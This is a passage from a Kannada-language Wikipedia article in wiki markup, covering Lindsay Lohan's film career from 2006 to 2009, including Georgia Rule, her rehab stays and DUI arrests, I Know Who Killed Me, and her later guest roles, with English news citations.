ಹಂಚಿಕೆಯು ಸಿಗುವಲ್ಲಿ ಸಮಸ್ಯೆ ತಲೆದೋರಿತು. ಆನಂತರ 2008 ಮಾರ್ಚ್ ತಿಂಗಳಲ್ಲಿ ಪರಿಮಿತ ಪ್ರಮಾಣದಲ್ಲಿ ಅದು ಬಿಡುಗಡೆಯಾಯಿತು.<ref>{{cite news |title=Lindsay finally getting to grow up onscreen |url=http://pqasb.pqarchiver.com/thestar/access/1032771181.html?dids=1032771181:1032771181&FMT=ABS&FMTS=ABS:FT&type=current&date=May+06%2C+2006&author=John+Hiscock&pub=Toronto+Star&desc=Lindsay+finally+getting+to+grow+up+onscreen&pqatl=google |author=John Hiscock |publication=Toronto Star |date=May 6, 2006 |quote=has just finished Chapter 27 |access-date=ಮಾರ್ಚ್ 9, 2010 |archive-date=ಜುಲೈ 25, 2012 |archive-url=https://web.archive.org/web/20120725034206/http://pqasb.pqarchiver.com/thestar/access/1032771181.html?dids=1032771181:1032771181&FMT=ABS&FMTS=ABS:FT&type=current&date=May+06%2C+2006&author=John+Hiscock&pub=Toronto+Star&desc=Lindsay+finally+getting+to+grow+up+onscreen&pqatl=google |url-status=dead }}</ref><ref>{{harvnb|Halbfinger|2007|p=}}. "ಮತ್ತೊಂದು ಪೂರ್ಣಗೊಂಡ ಚಿತ್ರ ಮಿಸ್. ಲೋಹಾನ್ ಮತ್ತು ಜೇರಿಡ್ ಲೆಟೊ ಅವರು ನಟಿಸಿರುವ 'ಚಾಪ್ಟರ್ 27,' ... ಸುಂಡೆನಸ್ ಚಿತ್ರೋತ್ಸವದಲ್ಲಿ ಪ್ರತಿಕ್ರಿಯೆಯ ಬೆಂಬಲವನ್ನು ಗೆದ್ದಿದು ಆದರೆ ವಿತರಕರನ್ನು ಪಡೆದುಕೊಳ್ಳಲಿಲ್ಲ."</ref><ref>{{cite web |url=http://www.boxofficemojo.com/movies/?id=chapter27.htm |title=Chapter 27 (2008) |work=Box Office Mojo |publisher=IMDb.com |accessdate=October 3, 2009 |quote=Widest Release: 11 theaters, Release Date: March 28, 2008 }}</ref> 2007 ರ ಮೇ ತಿಂಗಳಲ್ಲಿ ಲೋಹಾನ್ ನಟಿಸಿರುವ ನಾಟಕ ''[[ಜಾರ್ಜಿಯಾ ರೂಲ್]] ,'' ಬಿಡುಗಡೆಯಾಯಿತು. ಅದರಲ್ಲಿ ಲೋಹಾನ್ [[ಫೆಲಿಸಿಟಿ ಹಫ್‌ಮನ್]] ಮತ್ತು [[ಜೇನ್ ಫೋಂಡಾ]] ಅವರೊಂದಿಗೆ ನಟಿಸಿದ್ದಾಳೆ. ಓವೆನ್ ಗ್ಲೀಬರ್‌ಮನ್ ಅವರು ಇದರ ಬಗೆಗೆ ಬರೆಯುತ್ತಾ, “ಅಹಂಭಾವದ ರಾಜಕುಮಾರಿಯ [[ಸೇಡನ್ನು]] ತೀರಿಸಿಕೊಳ್ಳುವ ಪಾತ್ರದ ನಿಜರೂಪದಲ್ಲಿ ಮೆಚ್ಚಿಕೆಯಾಗಿದ್ದಾಳೆ” ಎಂದಿದ್ದಾರೆ.<ref>{{cite web |url=http://www.ew.com/ew/article/0,,20038337,00.html |title=Georgia Rule (2007) |author=[[Owen Gleiberman]] |publisher=[[Entertainment Weekly]] |date=May 9, 2007 |accessdate=October 18, 2009 |archive-date=ಫೆಬ್ರವರಿ 15, 2012 |archive-url=https://www.webcitation.org/65TS5qX65?url=http://www.ew.com/ew/article/0,,20038337,00.html |url-status=dead }}</ref> 2006ರಲ್ಲಿ ಚಿತ್ರೀಕರಣ ನಡೆಯುವಾಗ ಲೋಹಾನ್ ಆಸ್ಪತ್ರೆಗೆ ದಾಖಲಾದಳು. ಆಕೆಯ ಪ್ರತಿನಿಧಿ ಹೇಳಿದರು, “ಆಕೆ ಹೆಚ್ಚು ಉಷ್ಣತೆಯಿಂದ ಹಾಗೂ ಡಿಹೈಡ್ರೇಶನ್ ನಿಂದ ಬಳಲುತ್ತಿದ್ದಾರೆ”<ref>{{cite web |url=http://www.people.com/people/article/0,26334,1219436,00.html |title=Lindsay Lohan Sent to the Hospital |date=July 26, 2006 |publisher=People |accessdate=December 15, 2009 |archive-date=ಫೆಬ್ರವರಿ 25, 2007 |archive-url=https://web.archive.org/web/20070225082327/http://www.people.com/people/article/0%2C26334%2C1219436%2C00.html |url-status=dead }}</ref> ಸ್ಟುಡಿಯೋ ಕಾರ್ಯನಿರ್ವಾಹಕ [[ಜೇಮ್ಸ್ ಜಿ.ರಾಬಿನ್ ಸನ್]] ಅವರು ಬರೆದ ಒಂದು ಪತ್ರವನ್ನು ಬಹಿರಂಗ ಪಡಿಸುತ್ತಾ ಹೇಳಿರುವುದು ಹೀಗೆ "ಬೇಜವಾಬ್ದಾರಿ ಹಾಗೂ ವೃತ್ತಿನಿರತವಲ್ಲದ" ರೀತಿಯಲ್ಲಿ ಸೆಟ್‌ಗೆ ಅನೇಕ ಬಾರಿ ತಡವಾಗಿ ಬರುವುದು ಹಾಗೂ ಗೈರುಹಾಜರಾಗುವುದು ಇದು ಏಕಾಯಿತೆಂದು ನಮಗೆ ತಿಳಿದಿದೆ. ಆದಕ್ಕೆ ಕಾರಣ ಇದೇ ರಾತ್ರಿ ಹೆಚ್ಚು ಪಾರ್ಟಿಗಳಿಗೆ ಹೋಗುವುದು. ಅದರಿಂದಾಗಿ ತೀವ್ರವಾದ 'ಬಳಲಿಕೆಯುಂಟಾಗಿದೆ'.<ref name="ap-spoiledchild">{{cite web |url=http://www.msnbc.msn.com/id/14087536/ |publisher=[[Associated Press]] via [[msnbc.com]] |title=Studio exec: Lohan 'acted like a spoiled child' |date=July 29, 2006 |accessdate=October 2, 2009 |archive-date=ಫೆಬ್ರವರಿ 15, 2012 |archive-url=https://www.webcitation.org/65TS7kXgA?url=http://today.msnbc.msn.com/id/14087536 |url-status=dead }}</ref> ಸಹನಟ ಫೋಂಡಾ “ಸೆಟ್‌ ಮೇಲೆ ಬಂದಾಗ ಮಾತ್ರ ಆಕೆ ಯಾವಾಗಲೂ ದೊಡ್ಡವಳೇ ಆಗಿರುತ್ತಾಳೆ” ಎಂದು ತಮ್ಮ ಅಭಿಪ್ರಾಯವನ್ನು ತಿಳಿಸಿದ್ದಾರೆ.<ref>{{cite web |url=http://www.elle.com/Entertainment/Cover-Shoots/Lindsay-Lohan/Lindsay-Lohan |title=Girl On Fire |date=August 2, 2007 |author=Holly Millea |publisher=Elle |accessdate=December 15, 2009 |archive-date=ಫೆಬ್ರವರಿ 15, 2012 |archive-url=https://www.webcitation.org/65TS8gdQG?url=http://www.elle.com/Pop-Culture/Cover-Shoots/Girl-On-Fire/Lindsay-Lohan |url-status=dead }}</ref> === ವೃತ್ತಿಯಲ್ಲಿ ಅಡೆತಡೆಗಳು === ಲೋಹಾನ್ [[ಅಪೆಂಡಿಕ್ಸ್ ಶಸ್ತ್ರಚಿಕಿತ್ಸೆ]]ಗೊಳಗಾದಾಗ 2007ಜನವರಿಯ ಪ್ರಾರಂಭದಲ್ಲಿ ''[[ಐನೋ ಹೂ ಕಿಲ್ಡ್ ಮಿ]]'' ಚಿತ್ರದ ತಯಾರಿಕೆಯನ್ನು ತಾತ್ಕಾಲಿಕವಾಗಿ ನಿಲ್ಲಿಸಲಾಯಿತು.<ref>{{cite web |url=http://www.people.com/people/article/0,,20006632,00.html |title=Appendix Surgery for Lindsay Lohan |date=January 05, 2007 |publisher=People |quote=Lindsay Lohan had surgery to remove her appendix on Thursday. "She does have appendicitis, and she is getting her appendix removed," her rep, Leslie Sloane, told PEOPLE Thursday afternoon. }}</ref><ref>{{cite web |url=http://www.people.com/people/article/0,,20008812,00.html |title=Lindsay Lohan Checks Into Rehab |date=January 18, 2007 |publisher=People |quote=Lohan, 20, has been filming the thriller I Know Who Killed Me, and a rep for the movie tells PEOPLE production had already been on hold due to Lohan's recent appendix surgery. It's uncertain when filming will resume. }}</ref><ref>{{harvnb|Finn|2007|p=}}. "ಲೋಹಾನ್ ಅವರು ಅಪೆಂಡೆಕ್ಟೊಮಿಗಾಗಿ ಸಮಯ ತೆಗೆದುಕೊಂಡಿದ್ದಾಗ, ತಯಾರಿಕೆಯು ಈಗಾಗಲೇ ಜನವರಿಯ ಪ್ರಾರಂಭದಲ್ಲಿ ನಿಂತಿತ್ತು. ಕೊನೆಯ ವಾರದಲ್ಲಿ ಅವರ ಕೆಲಸಕ್ಕೆ ಹಿಂದಿರುಗಲು ಅವರು ವೈದ್ಯರಿಂದ ಮುಂದೆ ಹೋಗಲು ಅನುಮತಿ ಸ್ವೀಕರಿಸಿದರು."</ref> ಆನಂತರ ಆ ತಿಂಗಳಿನ ಕೊನೆಯಲ್ಲಿ ಆಕೆ ಒಂದು [[ಡ್ರಗ್ ಪುನಶ್ಚೇತನ]] ಚಿಕಿತ್ಸಾಲಯದಲ್ಲಿ ಪ್ರವೇಶಿಸಿದಳು. ರಾತ್ರಿಯವರೆಗೂ ಚಿತ್ರೀಕರಣದಲ್ಲಿ ಪಾಲ್ಗೊಂಡು ಆನಂತರ ಚಿಕಿತ್ಸಾಲಯಕ್ಕೆ ಮರಳುವುದರ ಮೂಲಕ ಚಿತ್ರದ ನಿರ್ಮಾಣದಲ್ಲಿ ಸಹಕರಿಸಿದಳು.<ref>{{cite web |url=http://www.people.com/people/article/0,,20008812,00.html |title=Lindsay Lohan Checks Into Rehab |date=January 18, 2007 |publisher=People |quote=Lindsay Lohan has checked into rehab, she said in a statement Wednesday. 'I have made a proactive decision to take care of my personal health,' she said. "I appreciate your well wishes and ask that you please respect my privacy at this time.' }}</ref><ref>{{harvnb|Finn|2007|p=}}. "ಪರ್ ಹರ್ ರೆಪ್, ಲೋಹಾನ್ ಅವರು ಕೆಲಸ ಮಾಡಲು ಮುಕ್ತವಾಗಿದ್ದರು ಮತ್ತು ಹಗಲೆಲ್ಲ ತಮ್ಮ ಜೀವನವನ್ನು ಕಳೆದು ವಂಡರ್‌ಲ್ಯಾಂಡ್‌ಗೆ ರಾತ್ರಿ ಮರಳಬೇಕಿತ್ತು. ಚಿಕಿತ್ಸೆಯನ್ನು ಪ್ರಾರಂಭಿಸಿದ ಒಂಬತ್ತು ದಿನಗಳ ನಂತರ ಅವರು ಜನವರಿ ರಂದು ಮುಂಬರಲಿರುವ ಥ್ರಿಲ್ಲರ್ ಐ ನೋ ಹೂ ಕಿಲ್ಡ್ ಮಿ ಸೆಟ್‌ಗೆ ಹಿಂತಿರುಗಿದರು. 'ಅವಳು ಈ ದಿನ ಸೆಟ್ ನಲ್ಲಿ ಇದ್ದಾಳೆ ' ಎಂದು ಝೆಲ್ನಿಕ್ ಅವರು ಹೇಳಿದ್ದರು."</ref> ಇದಾದ ಸ್ವಲ್ಪ ದಿನಗಳಲ್ಲಿಯೇ ಲೋಹಾನ್ [[ಆಸ್ಕರ್ ವೈಲ್ಡ್]] ಅವರ ಕಥೆಯ ಆಧಾರಿತ ''[[ಎ ವುಮನ್ ಆಫ್ ನೋ ಇಂಪಾರ್‌ಟೆನ್ಸ್]],'' ಎಂಬ ಚಿತ್ರದಿಂದ ವಿರಮಿಸಿದಳು. ಆಕೆಯ ಪ್ರಚಾರಕ ಹೇಳುವ ಪ್ರಕಾರ ಲೋಹಾನ್ “ಆರೋಗ್ಯದ ಸುಧಾರಣೆಗಾಗಿ ಗಮನ ನೀಡಬೇಕಾಗಿದೆ”.<ref>{{cite news |url=http://www.people.com/people/article/0,,20010614,00.html |title=Lindsay Lohan Backs Out of Upcoming Movie |accessdate=January 12, 2009 |last=Dagostino |first=Mark |date=February 1, 2007 |work=People |quote=Lindsay Lohan, who entered rehab last month, has backed out of an upcoming movie, A Woman of No Importance, her rep confirms to PEOPLE. ... Rather than jumping from movie to movie, Lohan plans to take it easy for a few weeks, according to Sloane, who adds: 'It's a mature thing to do. ... She's doing this so she can focus on getting better.' }}</ref><ref>{{harvnb|Finn|2007|p=}}. "ಅವರಿಗೆ ಇರುವ ತೊಂದರೆ ನಿವಾರಣೆಯಾಗುವ ಸ್ವಲ್ಪ ದಿನಗಳ ಮಟ್ಟಿಗೆ ಹೆಚ್ಚು ಶ್ರಮ ತೆಗೆದುಕೊಳ್ಳದಂತೆ ನೋಡಿಕೊಳ್ಳುತ್ತೇನೆ, ಲಿಂಡ್ಸೆ ಲೋಹಾನ್ ಅವರು ಮುಂಬರಲಿರುವ ಒಂದು ಚಿತ್ರದ ಯೋಜನೆ ಆಸ್ಕರ್ ವೈಲ್ಡೆಯ ಎ ವುಮನ್ ಆಫ್ ನೋ ಇಂಪಾರ್ಟೆನ್ಸ್ ನಾಟಕದ ದೊಡ್ಡ ಪರದೆಯ ಚಿತ್ರೀಕರಣವನ್ನು ಕೈಬಿಡಬೇಕೆಂದು ಹೊರಟಿದ್ದರು. 'ಅವರು ಉತ್ತಮವಾಗಿ ಮಾಡುತ್ತಿದ್ದಾರೆ,' ಎಂದು ಲೋಹಾನ್‌ನ ಪ್ರಚಾರಕ ಲೆಸ್ಲಿ ಸ್ಲೋಯೆನಿ ಜೆಲ್ನಿಕ್ ಇ! ಆನ್‌ಲೈನ್‌ನ ಹಿರಿಯ ಸಂಪಾದಕ ಮಾರ್ಕ್ ಮಾಲ್ಕಿನ್ ಅವರಿಗೆ ಹೇಳಿದ್ದರು, ಅಲ್ಲದೆ ಇವರು ಇದೀಗ ಅವರ ಚಿಕಿತ್ಸೆಯ ಬಗ್ಗೆ ಕಾಳಜಿವಹಿಸಬೇಕಾಗಿದೆ" ಎಂದು ಹೇಳಿದ್ದರು.</ref> ಏಪ್ರಿಲ್ 2007ರಲ್ಲಿ ''[[ದಿ ಎಡ್ಜ್ ಆಫ್ ಲೌವ್]] '' ಚಿತ್ರದಲ್ಲಿ ಆಕೆಗೆ ನೀಡಿದ್ದ ಪಾತ್ರಕ್ಕೆ ಬೇರೆ ಏರ್ಪಾಡು ಮಾಡಲಾಯಿತು. ಇದು ಇನ್ನೇನು ಚಿತ್ರದ ಚಿತ್ರೀಕರಣ ಪ್ರಾರಂಭವಾಗಬೇಕಾದ ಸಮಯವಾಗಿತ್ತು. ಇದಕ್ಕೆ ಅದರ ನಿರ್ದೇಶಕರು “ಇನ್‌ಷೂರೆನ್ಸ್ ಕಾರಣ"ವನ್ನು ನೀಡಿದರು. ಆದರೆ ಲೋಹಾನ್ ಅದಕ್ಕೆ ನಂತರ ಕಾರಣವನ್ನು ಹೇಳುತ್ತಾ, “ಆಗ ಕಷ್ಟದ ಸಮಯವಾಗಿತ್ತು” ಎಂದಿದ್ದಾರೆ.<ref>{{cite news |title=In brief: Miller replaces Lohan as Dylan Thomas' wife |date=April 24, 2007 |url=https://www.theguardian.com/film/2007/apr/24/dylanthomas |work=[[guardian.co.uk]] |publisher=[[Guardian Media Group]] |accessdate=January 12, 2009 }}</ref><ref>{{cite news |title=Love, cinema, Dylan and stardom |date=June 1, 2008 |url=http://news.bbc.co.uk/2/hi/uk_news/wales/mid_/7429831.stm |work=BBC News |accessdate=January 12, 2009 |quote=Maybury said he had originally wanted Parent Trap actress Lindsay Lohan to play Thomas's wife, but he was unable to get her out of California to Wales for "insurance reasons".}}</ref><ref>{{cite news |title=Lindsay Lohan |date=February 2009 |url=http://www.interviewmagazine.com/film/lindsay-lohan/2/ |work=Interview |accessdate=January 12, 2009 |quote=I spoke to John Maybury [director of ''Edge of Love''] when I was in London ... I was supposed to do a movie for him three years ago, but I was going through a really bad time then. }}</ref> ಲೋಹಾನ್ ಅವರು ನಂತರ ''[[ಪೂರ್ ಥಿಂಗ್ಸ್]]'' ಕಾದಂಬರಿಯ ಅಳವಡಿಕೆಯ ಚಿತ್ರದಲ್ಲಿ ನಟಿಸಿದರು. ಮೇ 26 ರಂದು ತಯಾರಿಕೆಯನ್ನು ಪ್ರಾರಂಭಿಸುವ ಮೊದಲು, [[ಡಿಯುಐ]] ಆರೋಪದ ಮೇಲೆ ಅವರನ್ನು ಬಂಧಿಸಲಾಯಿತು ಆನಂತರ ಅವರು ಪುನಶ್ಚೇತನಕ್ಕೆ ಪ್ರವೇಶಿಸಿದರು. ಚಿತ್ರ ತಯಾರಕರು ಪ್ರಾರಂಭದಲ್ಲಿ ಬೆಂಬಲವನ್ನು ಸೂಚಿಸಿದರು ಮತ್ತು ಚಿತ್ರ ತಯಾರಿಕೆಯನ್ನು ಸ್ಥಗಿತಗೊಳಿಸಿದರು.<ref>{{cite news |first=Dave |last=McNary |title=Lindsay Lohan enters rehab |date=May 29, 2007 |url=http://www.variety.com/article/VR1117965946.html?categoryid=13&cs=1 |work=Variety |accessdate=January 12, 2009|quote=The thesp was arrested for suspicion of driving under the influence Saturday after her convertible struck a curb, and investigators found what they believe is cocaine at the scene, police said. She admitted herself to an intensive medical rehabilitation facility, according to a statement released by her publicist, Leslie Sloane Zelnick. ... Zelnick told Daily Variety on Tuesday that she did not know if Lohan will be able to take part in "Poor Things," a dark comedy set to begin shooting on Wednesday. A rep for the producers said the project's still moving ahead and may have to switch schedules. }}</ref><ref>{{harvnb|Halbfinger|2007|p=}}. "'ಪೂರ್ ಥಿಂಗ್ಸ್'ನ ತಯಾರಿಕೆಯು ... ಮೊದಲಿಗೆ ಮೇ 30 ರ ಹೊತ್ತಿಗೆ ಪ್ರಾರಂಭವಾಗಿತ್ತು, ಆದರೆ ಪ್ರಾರಂಭದಲ್ಲಿ ಮಿಸ್. ಲೋಹಾನ್ ಅವರು ತಮ್ಮ ಮರ್ಸಿಡಿಸ್ ಅನ್ನು ಅಪಘಾತಗೊಳಿಸಿದ್ದಕ್ಕಾಗಿ ಮತ್ತು ಸೇವನೆಯೊಂದಿಗೆ ಚಾಲನೆ ಮಾಡಿದ್ದಕ್ಕಾಗಿ ... ಮತ್ತು ಅವರು ಪ್ರಾಮಿಸಸ್ ರಿಹ್ಯಾಬಿಲೇಶನ್ ಸೌಲಭ್ಯದಲ್ಲಿ ಪ್ರವೇಶಿಸಿದಾಗ ಸುಮಾರು ನಾಲ್ಕು ದಿನಗಳು ಹಾದಿ ತಪ್ಪಿತ್ತು. ... 'ಪೂರ್ ಥಿಂಗ್ಸ್' ಅನ್ನು ತಡೆಹಿಡಿಯಬೇಕಾಯಿತು."</ref><ref>{{cite news |title=Hollywood Execs Don't Like Lindsay Fully Loaded |date=May 31, 2007 |url=http://www.usmagazine.com/lindsay_lohan_13 |work=Us Magazine |archiveurl=https://web.archive.org/web/20070602120610/http://usmagazine.com/lindsay_lohan_13 |archivedate=June 2, 2007 |accessdate=January 12, 2009 |quote=Producers Rob Hickman and Shirley MacLaine, who had recently signed Lohan to star in their film, ''Poor Things'', released the following statement about Lindsay's involvement: 'In the spirit of helping Lindsay Lohan and her rehabilitation, we have been asked by Lindsay to comply with her wishes to continue working on ''Poor Things.'' We are trying to rearrange the shooting schedule to facilitate her working at the end of the shoot, to coincide with the completion of her rehabilitation. We wish her love and the blending of mind, body and spirit.' }}</ref> ಜುಲೈ 24 ರಂದು ಮತ್ತೆ ಚಿತ್ರೀಕರಣವು ಪ್ರಾರಂಭಗೊಳ್ಳುವ ಮೂರು ವಾರಗಳ ಮೊದಲು ಲೋಹಾನ್ ಅವರನ್ನು ಎರಡನೇ ಡಿಯುಐಗೆ ಬಂಧಿಸಲಾಯಿತು ಹಾಗೂ ಇನ್ನೊಂದು ಬಾರಿ ಪುನಶ್ಚೇತನಕ್ಕೆ ತೆರಳಿದರು.<ref>{{harvnb|Halbfinger|2007|p=}}. "ಮಿಸ್. ಲೋಹಾನ್ ಅವರ ಕಾನೂನಿನೊಂದಿಗೆ ಹೆಚ್ಚಿನ ಆಕಸ್ಮಿಕವೆಂದರೆ ... 'ಪೂರ್ ಥಿಂಗ್ಸ್' ಚಿತ್ರವು ಮೂರು ವಾರಗಳಲ್ಲಿ ಪ್ರಾರಂಭಗೊಳ್ಳಬೇಕಿತ್ತು."</ref> ಅಂತಿಮವಾಗಿ ಅವರು ಯೋಜನೆಯಿಂದ ಹೊರಗೆ ಉಳಿದರು.<ref>{{cite news |first=Carly |last=Mayberry |title=Murphy latest 'Hall' monitor |date=February 6, 2008 |url=http://www.hollywoodreporter.com/hr/content_display/film/news/e3i67f661e87c3de3d3cf48ad446951d906 |work=Hollywood Reporter |accessdate=August 22, 2009 |quote=Lohan fell out of the ["Poor Things"] project in May when she admitted herself to a rehabilitation facility. |archiveurl=https://web.archive.org/web/20080516210742/http://www.hollywoodreporter.com/hr/content_display/film/news/e3i67f661e87c3de3d3cf48ad446951d906 |archivedate=ಮೇ 16, 2008 |url-status=live }}</ref> ಜುಲೈ 24, 2007 ನ ಎರಡನೇ ಬಂಧನದ ಹಿನ್ನೆಲೆಯಲ್ಲಿ, ಅವರು [[ಕಡಿಮೆ ಬಜೆಟ್‌]]ನ ರೋಮಾಂಚಕ-ರಹಸ್ಯವಾದ ಚಿತ್ರ ''[[ಐ ನೋ ಹೂ ಕಿಲ್ಲಡ್ ಮಿ]]'' ಯಲ್ಲಿ [[ಸ್ಟ್ರಿಪ್ಪರ್‌]] ಆಗಿ ವಿಭಿನ್ನ ಪಾತ್ರದಲ್ಲಿ ಪಾತ್ರವಹಿಸಿರುವ ಇವರು ಅದನ್ನು ಪ್ರಚಲಿತಗೊಳಿಸಲು ''[[ದಿ ಟುನೈಟ್ ಶೋ ವಿಥ್ ಜೈ ಲಿನೊ]]'' ದಲ್ಲಿನ ಪಾತ್ರವನ್ನು ಹಿಂತೆಗೆದುಕೊಂಡರು.<ref>{{harvnb|Halbfinger|2007|p=}}.</ref> ಚಿತ್ರವು "ಆನ್ ಅಬ್ಯಸ್‌ಮಲ್ $3.5 ಮಿಲಿಯನ್" ಎಂದು ಕರೆಯಲಾಗುವ ''[[ಎಂಟರ್‌ಟೈನ್ಮೆಂಟ್ ವೀಕ್ಲಿ]]'' ಯಲ್ಲಿ ಪ್ರದರ್ಶನಕಂಡಿತು.<ref name="ew">{{cite web |url=http://www.ew.com/ew/article/0,,20049806,00.html |title=I Know Who Killed Your Career |publisher=EW.com }}</ref> ಇದಕ್ಕಾಗಿ ಲೋಹಾನ್‌ಗೆ [[ಅತ್ಯಂತ ಕೆಟ್ಟ ನಟಿ]]ಗಾಗಿ ಎರಡು [[ಗೋಲ್ಡನ್ ರಾಸ್ಪೆಬರಿ ಅವಾರ್ಡ್‌]]ಗಳು ಲಭಿಸಿವೆ. ಇವರು ಮೊದಲು ಮತ್ತು ಎರಡನೆಯದಾಗಿ ಅವರೊಂದಿಗೆ ಸ್ಪರ್ಧಿಸುತ್ತಾ ಬಂದರು.<ref>{{cite web |url=http://www.razzies.com/history/07winners.asp |title=28th Annual Golden Raspberry (Razzie©) Award “Winners” |access-date=2010-03-09 |archive-date=2010-04-14 |archive-url=https://web.archive.org/web/20100414105004/http://www.razzies.com/history/07winners.asp |url-status=dead }}</ref> ಅವರು ಸಮಚಿತ್ತದವರು ಮತ್ತು ನಂಬಲರ್ಹರು ಎಂದು ಸಾಬೀತು ಪಡಿಸುವವರೆಗೆ ಲೋಹಾನ್ ಅವರಿಗೆ ಕೆಲಸ ದೊರಕುವುದು ಕಷ್ಟಕರ ಎಂದು ಹಾಲಿವುಡ್‌ನ ಅಧಿಕಾರಿಗಳು ಮತ್ತು ಉದ್ಯಮದಲ್ಲಿರುವವರು ಟೀಕಿಸಿದರು. ಯಾವುದೇ ಸಿನಿಮಾ ತಯಾರಿಕೆಯ ಗಂಭೀರ ಭಾಗವಾದ [[ವಿಮೆ]]ಯೊಂದಿಗೆ ಸಂಭವನೀಯ ತೊಂದರೆಗಳನ್ನು ಅವರು ತಿಳಿಸಿದರು.<ref>{{cite news |url=https://www.nytimes.com/2007/05/31/movies/31loha.html |title=For Lohan, a Mix of Sympathy and Scorn |publisher=The New York Times |author=Sharon Waxman |date=May 31, 2007 |quote=...would not hire her until she proved herself healthy and reliable" ... "She would need perhaps to post her salary as bond, or pay for her own insurance, even on an independent film. |accessdate=August 17, 2009 }}</ref><ref>{{cite web |url=http://abcnews.go.com/Entertainment/story?id=3409556 |title=From Rising Star to 'Unemployable' Actress |publisher=[[ABC News]] |author=Sheila Markar |date=July 24, 2007 |quote=...unemployable until she proves she can stay clean, sober and free of charges." ... "Securing insurance, a necessary and costly step for making any movie, could be all but impossible if Lohan is involved in the project. |accessdate=August 17, 2009 }}</ref><ref>{{cite web |url=http://www.variety.com/article/VR1117969119.html |title=Lindsay Lohan claims innocence |date=July 25, 2007 |publisher=Associated Press via Variety |accessdate=November 15, 2009 |quote=All Hollywood productions need insurance, and troublesome or troubled actors can often stand in the way of that requirement. ... 'I don't see how she's employable for the next 18 months' ... 'Who's going to insure her?' }}</ref> ''[[ಜಾರ್ಜಿಯಾ ರೂಲ್‌]]'' ನ ಬಗ್ಗೆ ಲೋಹಾನ್ ಅವರ ಕೆಲಸವನ್ನು ಈ ಮೊದಲು ಟೀಕಿಸಿದ್ದ ಚಿತ್ರ ತಯಾರಕ [[ರಾಬಿನ್‌ಸನ್]] ಅವರು ಇದೀಗ ಅವರು ಸೂಕ್ತ ವೈದ್ಯಕೀಯ ಕಾಳಜಿ ಪಡೆದಲ್ಲಿ ಅವರೊಂದಿಗೆ ಮತ್ತೆ ಕೆಲಸ ಮಾಡಲು ತಾನು ತಯಾರಿರುವುದಾಗಿ ಹೇಳಿದರು ಮತ್ತು ಅವರನ್ನು "ಇಂದು ಚಲನಚಿತ್ರ ವ್ಯವಹಾರದಲ್ಲಿ ಹೆಚ್ಚು ಪ್ರತಿಭೆಯುಳ್ಳ ಯುವ ಮಹಿಳೆ ಅವರು" ಎಂದು ವರ್ಣಿಸಿದರು.<ref>{{cite web |url=http://www.ew.com/ew/article/0,,20049806_2,00.html |title=I Know Who Killed Your Career |author=Sean Smith |publisher=[[Entertainment Weekly]] |date=August 02, 2007 |accessdate=August 17, 2009 |archive-date=ಫೆಬ್ರವರಿ 15, 2012 |archive-url=https://www.webcitation.org/65TSM9vKS?url=http://www.ew.com/ew/article/0,,20049806_2,00.html |url-status=dead }}</ref> === ಮುಂದುವರಿದ ವೃತ್ತಿಜೀವನ === ಮೇ 2008 ರಲ್ಲಿ, ಲೋಹಾನ್ ಅವರು ಎಬಿಸಿ ಯ ''[[ಅಗ್ಲಿ ಬೆಟ್ಟಿ]]'' ಎಂಬ ದೂರದರ್ಶನ ಧಾರಾವಾಹಿಯಲ್ಲಿ ಕಾಣಿಸಿಕೊಂಡರು, ''ಐ ನೋ ಹು ಕಿಲ್ಡ್ ಮಿ'' ಗೆ ನಂತರ ಮೊದಲು ತೆರೆಯಲ್ಲಿ ಕಾಣಿಸಿಕೊಂಡಿದ್ದು ಇದಾಗಿತ್ತು.<ref>{{cite news |title=Lohan gets Ugly Betty guest role |date=May 6, 2008 |url=http://news.bbc.co.uk/2/hi/entertainment/7385054.stm |work=BBC News |accessdate=January 12, 2009 }}</ref> 2008 ರಲ್ಲಿ ಎರಡು ಮತ್ತು ಮೂರು ಕಾಲ ಕಳೆದ ನಂತರ ಇವರು ನಾಲ್ಕು ಭಾಗಗಳಲ್ಲಿ ಮುಖ್ಯ ಪಾತ್ರ [[ಬೆಟ್ಟಿ ಸುರೆಜ್‌]]ನ ಹಳೆಯ ಸ್ಕೂಲ್ ಮೇಟ್ ಆಗಿ [[ಕಿಮ್ಮಿ ಕೇಗನ್]] ಆಗಿ ಅತಿಥಿ ನಟಿಯಾಗಿ ನಟಿಸಿದರು.<ref>{{cite web |url=http://tv.msn.com/tv/article.aspx?news=312504 |title=Lindsay Lohan to appear on season finale of 'Ugly Betty' - MSN TV News |access-date=2010-03-09 |archive-date=2012-02-15 |archive-url=https://www.webcitation.org/65TSRMH7c?url=http://tv.msn.com/tv/article.aspx?news=312504 |url-status=dead }}</ref><ref>{{cite web |url=http://www.imdb.com/name/nm0517820/ |title=IMDb - Lindsay Lohan }}</ref> 2009 ರಲ್ಲಿ ಕಾಮಿಡಿ ''[[ಲೇಬರ್ ಪೈನ್ಸ್‌]]'' ನಲ್ಲಿ ಲೋಹಾನ್ ಅವರು ಗರ್ಭಿಣಿಯಂತೆ ನಟಿಸುವ ಒಬ್ಬ ಮಹಿಳೆಯ ಪಾತ್ರವಹಿಸಿದ್ದರು. ಚಿತ್ರೀಕರಣದ ಸಂದರ್ಭದಲ್ಲಿ ಲೋಹಾನ್ ಅವರು ಕೆಲಸ ಮಾಡುತ್ತಿರುವುದನ್ನು ತೋರಿಸಲು ಮಾಧ್ಯಮಕ್ಕೆ ಪ್ರೋತ್ಸಾಹಿಸಲು ಅವರ ವ್ಯವಸ್ಥಾಪಕರು ಪಾಪಾರಾಝಿಯೊಂದಿಗೆ ಕೆಲಸ ಮಾಡಿದರು.<ref>{{harvnb|Kaylin|2008|p=}}. "ಆದರೆ ಮುರೊ <nowiki>[ಲೋಹಾನ್‌ರ ವ್ಯವಸ್ಥಾಪಕ]</nowiki> ಸಹ ಚಾತುರ್ಯದಿಂದ ಇರುತ್ತಿದ್ದ - ಉದಾಹರಣೆಗೆ, ಲೋಹಾನ್ ಅವರು ಸೆಟ್‌ನಲ್ಲಿ ಕೆಲಸದಲ್ಲಿರುವಾಗ ಪಾಪಾರಾಜಿ ಶಾಟ್‌ಗಳನ್ನು ಸ್ವಾಗತಿಸುವುದು(ಕ್ಲಬ್‌ನ ಹೊರಗೆ ಉರುಳುವುದನ್ನು ವಿರೋಧಿಸಿದ್ದಕ್ಕಾಗಿ). ಅದೇ ರೀತಿ, ಲೋಹಾನ್ ಅವರನ್ನು ಸೆಟ್‌ಗೆ ಕರೆದಾಗಲೆಲ್ಲ, ಅವರಾಗಿಯೇ ಪ್ಯಾಪ್ ವಾಕ್ ಮಾಡುತ್ತಾರೆ - ಕೂದಲಿನ ಪರದೆಯ 